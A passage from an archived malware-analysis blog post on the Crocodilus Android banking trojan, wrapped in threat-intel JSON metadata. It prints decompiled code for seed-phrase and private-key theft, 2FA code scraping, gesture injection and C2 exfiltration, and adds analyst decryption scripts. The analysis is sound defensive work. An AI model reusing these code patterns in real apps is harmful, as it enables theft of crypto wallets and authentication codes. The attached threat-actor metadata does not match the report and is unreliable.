cryptoTarget3 = \"com.wallet.crypto.trustapp\";\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 19 of 34\n\nWhen a TYPE_WINDOW_STATE_CHANGED event is triggered, this code compares the various crypto targets with the\r\ncurrently active one specified by the C2 server:\r\njava\r\nif (accessibilityEvent.getEventType() == 32) {\r\nif (this.str_empty.equals(this.new_list_commands.cryptoTarget) || this.str_empty.equals(this\r\nif (!this.unk_bool_value) {\r\nthis.unk_bool_value = true;\r\nthis.cryptoTargetName = this.str_empty;\r\nrun_prepare_stealWallets();\r\nAccording to Android documentation:\r\n\" TYPE_WINDOW_STATE_CHANGED represents the event of a change to a visually distinct section of the user\r\ninterface.\"\r\nThen, the active window is passed to the stealWallets function, which extracts and stores the cryptocurrency\r\ninformation.\r\njava\r\nRAT_commands.this.stealWallets(rootInActiveWindow);\r\nThis function uses different regex to retrieve Private Keys and Seed Phrases :\r\njava\r\n \r\npublic String regex_PrivateKey = \"[a-fA-F0-9]{64}\";\r\n \r\npublic String regex_seedPhrases = \"^(\\\\d+)\\\\.?\\\\s*(\\\\w+)$\";\r\nThen, the function stocks them inside the Shared Preferences with the key W10QLK0SKXJ :\r\njava\r\ngetPrivateKey(accessibilityNodeInfo, arrayList);\r\n \r\nCore_App.add_SharedPreferences(this, str_W10QLK0SKXJ, \"[\" + this.cryptoTargetName.toUpperCase() + \"]\r\n}\r\n \r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 20 of 34\n\nCore_App.add_SharedPreferences(this, str2, \"[\" + this.cryptoTargetName.toUpperCase() + \"] Seed Phrase\r\nNative library\r\nAccording to Zimperium:\r\n\"Four samples includes a custom-written native library that loads a file from the assets folder. This file\r\nis hidden with a _.png_ extension but is in fact encrypted data.\"\r\nHowever, although a significant number of files are present in the assets folder, no trace in the code allows us to\r\nconfirm this assertion for this particular sample?\r\nInteresting RAT commands\r\nIn their blogpost, ThreatFabric published the list of the RAT commands but didn't wrote a technical review of\r\nthem. We choose to focus on three promising commands.\r\nComplex Gesture - trXSB123QEBASDF\r\nAccording to ThreatFabric, this commands, allows malware to perform a complex finger gesture on the device.\r\nThe behavior depends on the C2 order and more precisely, the number of coordinates.\r\njava\r\n \r\nJSONArray jSONArray = jSONObject.getJSONArray(this.new_list_commands.str_coordinates);\r\nint duration = jSONObject.getInt(this.new_list_commands.str_duration);\r\nArrayList arrayList = new ArrayList();\r\nfor (int indexObj = 0; indexObj \u003c jSONArray.length(); indexObj++) {\r\nJSONObject coordinatesObj = jSONArray.getJSONObject(indexObj);\r\narrayList.add(new PointF((float) coordinatesObj.getDouble(this.new_list_commands.str_x), (flo\r\n}\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 21 of 34\n\ncomplexGesture(arrayList, (long) duration);\r\nreturn;\r\nIf the number of PointF objects in listCoordinatesXY is greater than or equal to 2 (with distinct coordinates),\r\nthe dispatcher simulates finger movements on the device based on the generated points.\r\nOtherwise, a circle is added to simulate a simple tap by the user.\r\njava\r\npublic void complexGesture(List\u003cPointF\u003e listCoordinatesXY, long duration) {\r\n try {\r\n if (!listCoordinatesXY.isEmpty()) {\r\n Path path = new Path();\r\n path.moveTo(listCoordinatesXY.get(0).x, listCoordinatesXY.get(0).y);\r\n if (listCoordinatesXY.size() != 2 || !listCoordinatesXY.get(0).equals(listCoordinatesXY.g\r\n for (int i = 1; i \u003c listCoordinatesXY.size(); i++) {\r\n path.lineTo(listCoordinatesXY.get(i).x, listCoordinatesXY.get(i).y);\r\n }\r\n } else {\r\n path.addCircle(listCoordinatesXY.get(0).x, listCoordinatesXY.get(0).y, 1.0f, Path.Di\r\n }\r\n try {\r\n dispatchGesture(new GestureDescription.Builder().addStroke(new GestureDescription.St\r\nThis technique relies on the AccessibilityService API. The method dispatchGesture() is a legitimate API\r\nintroduced in Android 7.0 (API level 24) that allows apps with accessibility privileges to simulate complex user\r\ngestures on the device, without requiring user interaction.\r\nIn this case, the malware received a set of coordinates from the C2 server, built a gesture path using these points,\r\nand executed the gesture on the device.\r\nSteal Google Authenticator codes - TG32XAZADG\r\nAccording to ThreatFabric, the malware steals 2FA code inside G-Auth and hid them inside SharedPreferences.\r\nIf the RAT commands ID TG32XAZADG is received by the malware, an instance of the app\r\n\"com.google.android.apps.authenticator2\" is launched via an intent.\r\nNext, several fields are set with boolean value which will have an impact later on program.\r\njava\r\nprivate void stealGoogleAuthApp() {\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 22 of 34\n\nIntent launchIntentForPackage = getPackageManager().getLaunchIntentForPackage(this.new_list_c\r\nif (launchIntentForPackage != null \u0026\u0026 this.mainClass.isLockScreenShowing(this)) {\r\nstartActivity(launchIntentForPackage);\r\nnew Handler(Looper.getMainLooper()).postDelayed(new Runnable() {\r\n@Override\r\npublic void run() {\r\nRAT_commands.this.value_setTrueWhenGAuth = true;\r\nRAT_commands.this.valueSetFalse = false;\r\n}\r\n}, 1800);\r\n}\r\n}\r\nA verification step is performed to check whether the device is on the lock screen:\r\n- Returns true if the device is not on the lock screen.\r\n- Returns false if the device is on the lock screen.\r\njava\r\npublic boolean isLockScreenShowing(Context context) {\r\n return !((KeyguardManager) context.getSystemService(\"keyguard\")).inKeyguardRestrictedInputMode()\r\n}\r\nThe steal_2FACode function uses the accessibilityNodeInfo object to inspect the current text displayed in the\r\nwindow and retrieves 2FA codes by matching the regular expression \\\\d{6,8} , which captures all numeric\r\nsequences between 6 and 8 digits long.\r\nThe matched codes are then appended to an array list. If no text is found in the current node, the function accessed\r\nthe child components and recursively re-executed itself.\r\njava\r\nprivate void steal_2FACode(AccessibilityNodeInfo accessibilityNodeInfo) {\r\nif (accessibilityNodeInfo != null) {\r\nCharSequence text = accessibilityNodeInfo.getText();\r\nif (text != null \u0026\u0026 text.length() \u003e 0) {\r\nString replace = text.toString().replace(\" \", \"\");\r\nif (replace.matches(\"\\\\d{6,8}\")) {\r\nthis.list_2FACode.add(replace);\r\n}\r\n}\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 23 of 34\n\nfor (int i = 0; i \u003c accessibilityNodeInfo.getChildCount(); i++) {\r\nAccessibilityNodeInfo child = accessibilityNodeInfo.getChild(i);\r\nif (child != null) {\r\nsteal_2FACode(child);\r\nchild.recycle();\r\n}\r\n}\r\n}\r\n}\r\nEach code is then placed inside a JSONObject , converted into a string, and written to the Shared Preferences\r\n\"FilesSettings\" under the key \"L74F7L400TR\" .\r\njava\r\nsteal_2FACode(rootWindow);\r\nif (! do_ACTION_SCROLL_FORWARD(rootWindow) \u0026\u0026 !this.list_2FACode.isEmpty()) {\r\nJSONArray jSONArray = new JSONArray();\r\nfor (CharSequence code : this.list_2FACode) {\r\nif (code.matches(\"\\\\d{6,8}\")) {\r\nJSONObject jSONObject = new JSONObject();\r\ntry {\r\njSONObject.put(this.new_list_commands.str_text, code);\r\njSONArray.put(jSONObject);\r\n}\r\n}\r\nif (jSONArray.length() \u003e 0) {\r\nthis.mainClass.edit_FilesSettings(this, this.new_list_commands.settingsKey_2FACode, j\r\nthis.list_2FACode.clear();\r\nthis.valueSetFalse = true;\r\nHidden Mode \u0026 Extraction - TR2XAQSWDEFRGT\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 24 of 34\n\nAccording to ThreatFabric, this RAT command extracts a lot of information on the current window. In addition, a\r\nblack rectangle is placed in front of the view, hiding the behavior of the RAT.\r\nIn the dispatcher code, `hidden_bool` is set to true and a Global Action Home is performed.\r\njava\r\nnew_list_commands3.hidden_bool = true_value;\r\nperformGlobalAction(2);\r\nThe hidden_bool value is used within the onAccessibilityEvent function. However, for this function to be\r\ntriggered, an AccessibilityEvent (such as TYPE_WINDOW_STATE_CHANGED or TYPE_VIEW_CLICKED ) must first occur.\r\nThis is achieved through the previous GLOBAL_ACTION_HOME` call: performGlobalAction(2);\r\njava\r\n@Override\r\npublic void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {\r\ntry {\r\n \r\nif (hidden_bool_setFalse) {\r\nif (hidden_bool_setFalse \u0026\u0026 Core_App.get_sharedPreferences(this, new_list_commands.bo\r\nCore_App inst_Core_App = this.mainClass;\r\nlist_commands new_list_command2 = this.new_list_commands;\r\ninst_Core_App.edit_FilesSettings(this, new_list_command2.bool_value_set0, new\r\n}\r\ncore_hidden_mode();\r\n}\r\ncore_hidden_mode starts a new thread and uses hideExtract function to retrieve several information about the\r\ncurrent view ( isChecked, isClickable, getPackageName, ... ) and creates a new rectangle based on the size of\r\nthe screen.\r\njava\r\nprivate void core_hidden_mode() {\r\nnew Thread(new Runnable() {\r\n@Override\r\npublic void run() {\r\nRAT_commands.this.hideExtract(rootInActiveWindow, jSONArray, 0, 10);\r\nif (jSONArray.length() \u003e 0) {\r\nfinal JSONObject jsonObj = RAT_commands.this.getDeviceSize(jSONArray);\r\nnew Handler(Looper.getMainLooper()).post(new Runnable() {\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 25 of 34\n\npublic void run() {\r\nRAT_commands new_rat_commands = RAT_commands.this;\r\nif (new_rat_commands.mainClass.isServiceRunning(new_rat_comma\r\nWebSocket_Service.send(jsonObj.toString());\r\nIn hideExtract() , the rectangle is created using the package android.graphics.Rect . Then, a lot of\r\ninformation are put in a jsonObject which will be sent to the C2.\r\njava\r\nisSwitchOrCheckBox = true;\r\njSONObject.put(this.new_list_commands.str_scs, isSwitchOrCheckBox);\r\njSONObject.put(this.new_list_commands.QfApFcxbdjKetpoQ, rootInActiveWindow.getClassName() == null \u0026\u0026\r\njSONObject.put(this.new_list_commands.DcpbaIgJQPmWE, index);\r\njSONObject.put(this.new_list_commands.vxgMyTSaOiIXcLj, rootInActiveWindow.isFocusable());\r\nRect rect = new Rect();\r\nrootInActiveWindow.getBoundsInScreen(rect);\r\njSONObject.put(this.new_list_commands.qAhqPJvcaAWfbCWFcT, rect.left);\r\njSONObject.put(this.new_list_commands.UPloHJQvWHpnMi, rect.top);\r\njSONObject.put(this.new_list_commands.SkjEFQXicLlq, rect.right);\r\njSONObject.put(this.new_list_commands.LvHbIyTfAnqUIrPDco, rect.bottom);\r\njSONObject.put(this.new_list_commands.sBOIcJEJzQmn, (rect.left + rect.right) / 2);\r\njSONObject.put(this.new_list_commands.str_centerY, (rect.top + rect.bottom) / 2);\r\njsonArray_Null.put(jSONObject)\r\nAdd New Contact - TRU9MMRHBCRO\r\nIn June, a new version of Crocodilus is discovered by ThreatFabric with a new feature update. The malware has\r\nnow the ability \"to modify the contact list\" and \"adds a specified contact to the victim's contact list\".\r\nThe goal is to lure the victim into communicating with a \"legitimate\" contact and to use social engineering\r\ntechniques to extract sensitive information.\r\nIn this behavior, the C2 sent a response with the command id TRU9MMRHBCRO and two strings : name \u0026 phone\r\nnumber.\r\njava\r\npublic static boolean newFriendsFun(Context context, String name, String phone) {\r\ntry {\r\nArrayList\u003cContentProviderOperation\u003e arrayList = new ArrayList\u003c\u003e();\r\narrayList.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT\r\nUri uri = ContactsContract.Data.CONTENT_URI;\r\narrayList.add(ContentProviderOperation.newInsert(uri).withValueBackReference(\"raw_con\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 26 of 34\n\narrayList.add(ContentProviderOperation.newInsert(uri).withValueBackReference(\"raw_con\ncontext.getContentResolver().applyBatch(\"com.android.contacts\", arrayList);\nreturn true;\nAnnexes\nAndroidManifest.xml\nxml\n\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\nPage 28 of 34\n\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\nPage 30 of 34\n\nStrings decryption script\npython\nimport pyjadx\nimport re\njadx = pyjadx.Jadx()\napp = jadx.load(\"classes.dex\") # Stage one of crocodilus\nfor cls in app.classes:\n code = cls.code\n if not code:\n continue\n lines = code.splitlines()\n print(\"\\r\")\n for i, line in enumerate(lines):\n if re.search(r\"\\{\\s*(?:\\d+|Byte\\.MAX_VALUE)(?:\\s*,\\s*(?:\\d+|Byte\\.MAX_VALUE))*\\s*\\}\", line):\n\nmatches = re.findall(r'\\b(Byte\\.MAX_VALUE|\\d+)\\b', line)\n if not matches:\n continue\n try:\n decoded = ''.join(\n chr((127 if val == \"Byte.MAX_VALUE\" else int(val)) ^ 21)\n for val in matches\n )\n print(f\"In class -\u003e {cls.name}\")\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\nPage 31 of 34\n\nprint(\"From: \", line.strip())\r\n print(\"Decrypted strings: \", decoded)\r\n print(\"-\" * 40)\r\n except Exception as e:\r\n print(f\"Error in decryption routine inside -\u003e {cls.name}: {e}\")\r\nStage two extraction\r\npython\r\nfrom Crypto.Cipher import AES\r\nfrom Crypto.Util.Padding import unpad\r\nwith open(\"assets/iff.json\", \"rb\") as f:\r\n f.seek(72)\r\n ciphertext = f.read()\r\n f.seek(32)\r\n key = f.read(16)\r\n f.seek(48)\r\n iv = f.read(16)\r\ncipher = AES.new(key, AES.MODE_CBC, iv)\r\ndecrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)\r\nwith open(\"output.dex\", \"wb\") as f:\r\n f.write(decrypted)\r\nList of shared preference Keys\r\n*non-exhaustive*\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 32 of 34\n\nKey Meaning\r\nWD74C563bm589 Width value\r\nS741852Q9H Height value\r\n8RG69241A653 Pseudo random md5 int 16 characters / deviceId\r\nC82143546762 Token web app\r\nC03blw01xza1fjg URL of the C2\r\nL74F7L400TR List of 2FA Code from Google Authenticator\r\nW10QLK0SKXJ List of crypto Private Keys \u0026 Seed Phrases\r\nCommunication decryption\r\nPython\r\nimport sys\r\nimport json\r\nimport base64\r\nfrom Crypto.Cipher import AES\r\ndef aes_decrypt(data_enc, iv):\r\n key = b'DBeYRNqiFnsyGpY8' # hardcoded key from stage 2\r\n cipher = AES.new(key, AES.MODE_CBC, iv)\r\n return cipher.decrypt(data_enc)\r\ndef extract_IV(iv_enc):\r\n chunk1 = base64.b64decode(iv_enc + '==')\r\n chunk2 = chunk1[::-1]\r\n chunk3 = base64.b64decode(chunk2 + b'==')\r\n iv = base64.b64decode(chunk3)\r\n return iv\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 33 of 34\n\ndef extract_content(data_enc, iv):\r\n chunk1 = base64.b64decode(data_enc + '==')\r\n chunk2 = chunk1[::-1]\r\n chunk3 = base64.b64decode(chunk2 + b'==')\r\n chunk4 = base64.b64decode(chunk3)\r\n return aes_decrypt(chunk4, iv)\r\ndef main() -\u003eint:\r\n content = input(\"Enter json communication request/response: \\n\")\r\n json_parsed = json.loads(content)\r\n IV = extract_IV(json_parsed[\"miniature\"])\r\n data = extract_content(json_parsed[\"carFileDoesnt\"], IV)\r\n print(\"\\n\\n\")\r\n print(\"Data decrypted: \" + data.decode('utf-8'))\r\n return 0\r\nif __name__ == \"__main__\":\r\n sys.exit(main())\r\nOutput:\r\ntext\r\nData decrypted:\r\n{\"action\":\"C825C416F9TR8753\",\"deviceID\":\"X\",\"C01039058573\":\"0\",\"localeCode\":\"X\",\"phoneTag\":\"IKO\",\"pho\r\nSource: https://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 34 of 34",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities"
	],
	"report_names": [
		"crocodilus-a-deep-dive-into-its-structure-and-capabilities"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434467,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f72ebeb5360ced52a66dbb59df13c9b9270270ef.pdf",
		"text": "https://archive.orkl.eu/f72ebeb5360ced52a66dbb59df13c9b9270270ef.txt",
		"img": "https://archive.orkl.eu/f72ebeb5360ced52a66dbb59df13c9b9270270ef.jpg"
	}
}